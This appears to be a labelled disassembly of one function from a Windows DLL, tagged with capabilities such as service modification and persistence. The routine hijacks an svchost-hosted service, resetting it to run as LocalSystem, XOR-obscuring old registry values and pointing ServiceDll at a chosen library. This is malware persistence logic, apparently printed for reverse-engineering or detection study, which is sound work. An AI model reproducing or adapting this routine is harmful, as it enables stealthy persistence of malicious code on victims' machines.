Function at 0x100054f0
Capabilities:
Delete registry value
Modify service
Persist via windows service
Query or enumerate registry value
Query service configuration
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4e0
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 0x1c], eax
push esi
push edi
mov eax, dword [ebp + 8]
movsx ecx, byte [eax]
test ecx, ecx
jne 0x10005516
mov al, 1
jmp 0x10005999
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov dword [ebp - 0x424], eax
cmp dword [ebp - 0x424], 0
jne 0x10005547
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 0x428], eax
xor al, al
jmp 0x10005999
push 0xf01ff
mov edx, dword [ebp + 8]
push edx
mov eax, dword [ebp - 0x424]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x1000557a
mov ecx, dword [ebp - 0x424]
push ecx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
xor al, al
jmp 0x10005999
push 0x424
call dword [sym.imp.msvcrt.dll_malloc]
add esp, 4
mov dword [ebp - 0x14], eax
lea edx, [ebp - 0x18]
push edx
push 0x424
mov eax, dword [ebp - 0x14]
push eax
mov ecx, dword [ebp - 0xc]
push ecx
call dword [sym.imp.ADVAPI32.dll_QueryServiceConfigA]
test eax, eax
jne 0x100055c4
mov edx, dword [ebp - 0xc]
push edx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov eax, dword [ebp - 0x424]
push eax
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
xor al, al
jmp 0x10005999
mov ecx, dword [ebp - 0x14]
mov edx, dword [ecx + 0xc]
push edx
call dword [sym.imp.msvcrt.dll__strlwr]
add esp, 4
push str.svchost.exe
mov eax, dword [ebp - 0x14]
mov ecx, dword [eax + 0xc]
push ecx
call fcn.10001020
add esp, 8
test eax, eax
jne 0x1000560a
mov edx, dword [ebp - 0xc]
push edx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov eax, dword [ebp - 0x424]
push eax
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
xor al, al
jmp 0x10005999
push 0
push 0
push str.LocalSystem
push 0
push 0
push 0
push 0
push 0
push 2
mov ecx, dword [ebp - 0x14]
mov edx, dword [ecx]
or edx, 0x100
push edx
mov eax, dword [ebp - 0xc]
push eax
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfigA]
test eax, eax
jne 0x10005657
mov ecx, dword [ebp - 0xc]
push ecx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov edx, dword [ebp - 0x424]
push edx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
xor al, al
jmp 0x10005999
mov eax, dword [ebp - 0xc]
push eax
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov ecx, dword [ebp - 0x424]
push ecx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov edx, dword [ebp + 8]
push edx
push str.SYSTEMCurrentControlSetServices_sParameters
lea eax, [ebp - 0x420]
push eax
call dword [sym.imp.msvcrt.dll_sprintf]
add esp, 0xc
lea ecx, [ebp - 0x10]
push ecx
push 0xf003f
push 0
lea edx, [ebp - 0x420]
push edx
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x100056b4
xor al, al
jmp 0x10005999
push 0x400
push 0
lea eax, [ebp - 0x420]
push eax
call sub.msvcrt.dll_memset
add esp, 0xc
movzx ecx, byte [ebp + 0x10]
test ecx, ecx
je 0x100057aa
mov dword [ebp - 0x18], 0x3ff
lea edx, [ebp - 0x18]
push edx
lea eax, [ebp - 0x420]
push eax
lea ecx, [ebp - 4]
push ecx
push 0
push 0x10008514
mov edx, dword [ebp - 0x10]
push edx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x1000570c
cmp dword [ebp - 4], 3
je 0x1000571d
mov eax, dword [ebp - 0x10]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor al, al
jmp 0x10005999
mov dword [ebp - 0x18], 0
jmp 0x1000572f
mov ecx, dword [ebp - 0x18]
add ecx, 1
mov dword [ebp - 0x18], ecx
lea edx, [ebp - 0x420]
push edx
call sub.msvcrt.dll_strlen
add esp, 4
cmp dword [ebp - 0x18], eax
jae 0x10005760
mov eax, dword [ebp - 0x18]
movsx ecx, byte [ebp + eax - 0x420]
xor ecx, 0x99
mov edx, dword [ebp - 0x18]
mov byte [ebp + edx - 0x420], cl
jmp 0x10005726
lea eax, [ebp - 0x420]
push eax
call sub.msvcrt.dll_strlen
add esp, 4
add eax, 1
push eax
lea ecx, [ebp - 0x420]
push ecx
push 2
push 0
push 0x1000851c
mov edx, dword [ebp - 0x10]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x100057a5
push 0x10008528
mov eax, dword [ebp - 0x10]
push eax
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
jmp 0x10005997
push 0
push 0
lea ecx, [ebp - 4]
push ecx
push 0
push 0x10008530
mov edx, dword [ebp - 0x10]
push edx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x100058b7
mov dword [ebp - 0x18], 0x3ff
lea eax, [ebp - 0x18]
push eax
lea ecx, [ebp - 0x420]
push ecx
lea edx, [ebp - 4]
push edx
push 0
push 0x10008538
mov eax, dword [ebp - 0x10]
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x10005811
mov ecx, dword [ebp - 0x10]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor al, al
jmp 0x10005999
cmp dword [ebp - 4], 2
je 0x1000582e
cmp dword [ebp - 4], 1
je 0x1000582e
mov edx, dword [ebp - 0x10]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor al, al
jmp 0x10005999
mov dword [ebp - 0x18], 0
jmp 0x10005840
mov eax, dword [ebp - 0x18]
add eax, 1
mov dword [ebp - 0x18], eax
lea ecx, [ebp - 0x420]
push ecx
call sub.msvcrt.dll_strlen
add esp, 4
cmp dword [ebp - 0x18], eax
jae 0x10005870
mov edx, dword [ebp - 0x18]
movsx eax, byte [ebp + edx - 0x420]
xor eax, 0x99
mov ecx, dword [ebp - 0x18]
mov byte [ebp + ecx - 0x420], al
jmp 0x10005837
lea edx, [ebp - 0x420]
push edx
call sub.msvcrt.dll_strlen
add esp, 4
add eax, 1
push eax
lea eax, [ebp - 0x420]
push eax
push 3
push 0
push str.Actions
mov ecx, dword [ebp - 0x10]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x100058b7
mov edx, dword [ebp - 0x10]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor al, al
jmp 0x10005999
push 0x1000854c
mov eax, dword [ebp - 0x10]
push eax
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
mov ecx, dword [ebp + 0xc]
push ecx
call sub.msvcrt.dll_strlen
add esp, 4
add eax, 1
push eax
mov edx, dword [ebp + 0xc]
push edx
push 2
push 0
push str.ServiceDll
mov eax, dword [ebp - 0x10]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 0x10]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp dword [ebp - 8], 0
je 0x10005907
xor al, al
jmp 0x10005999
call fcn.10005b90
cmp eax, 0x56495354
jne 0x10005997
mov ecx, 0x2d
mov esi, str.SeProfileSingleProcessPrivilege
lea edi, [ebp - 0x4e0]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
mov edx, dword [ebp + 8]
push edx
push str.SYSTEMCurrentControlSetServices_s
lea eax, [ebp - 0x420]
push eax
call dword [sym.imp.msvcrt.dll_sprintf]
add esp, 0xc
lea ecx, [ebp - 0x10]
push ecx
push 0xf003f
push 0
lea edx, [ebp - 0x420]
push edx
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x10005997
push 0xb7
lea eax, [ebp - 0x4e0]
push eax
push 7
push 0
push str.RequiredPrivileges
mov ecx, dword [ebp - 0x10]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov dword [ebp - 8], eax
mov edx, dword [ebp - 0x10]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov al, 1
pop edi
pop esi
mov ecx, dword [ebp - 0x1c]
xor ecx, ebp
call fcn.1000415e
mov esp, ebp
pop ebp
ret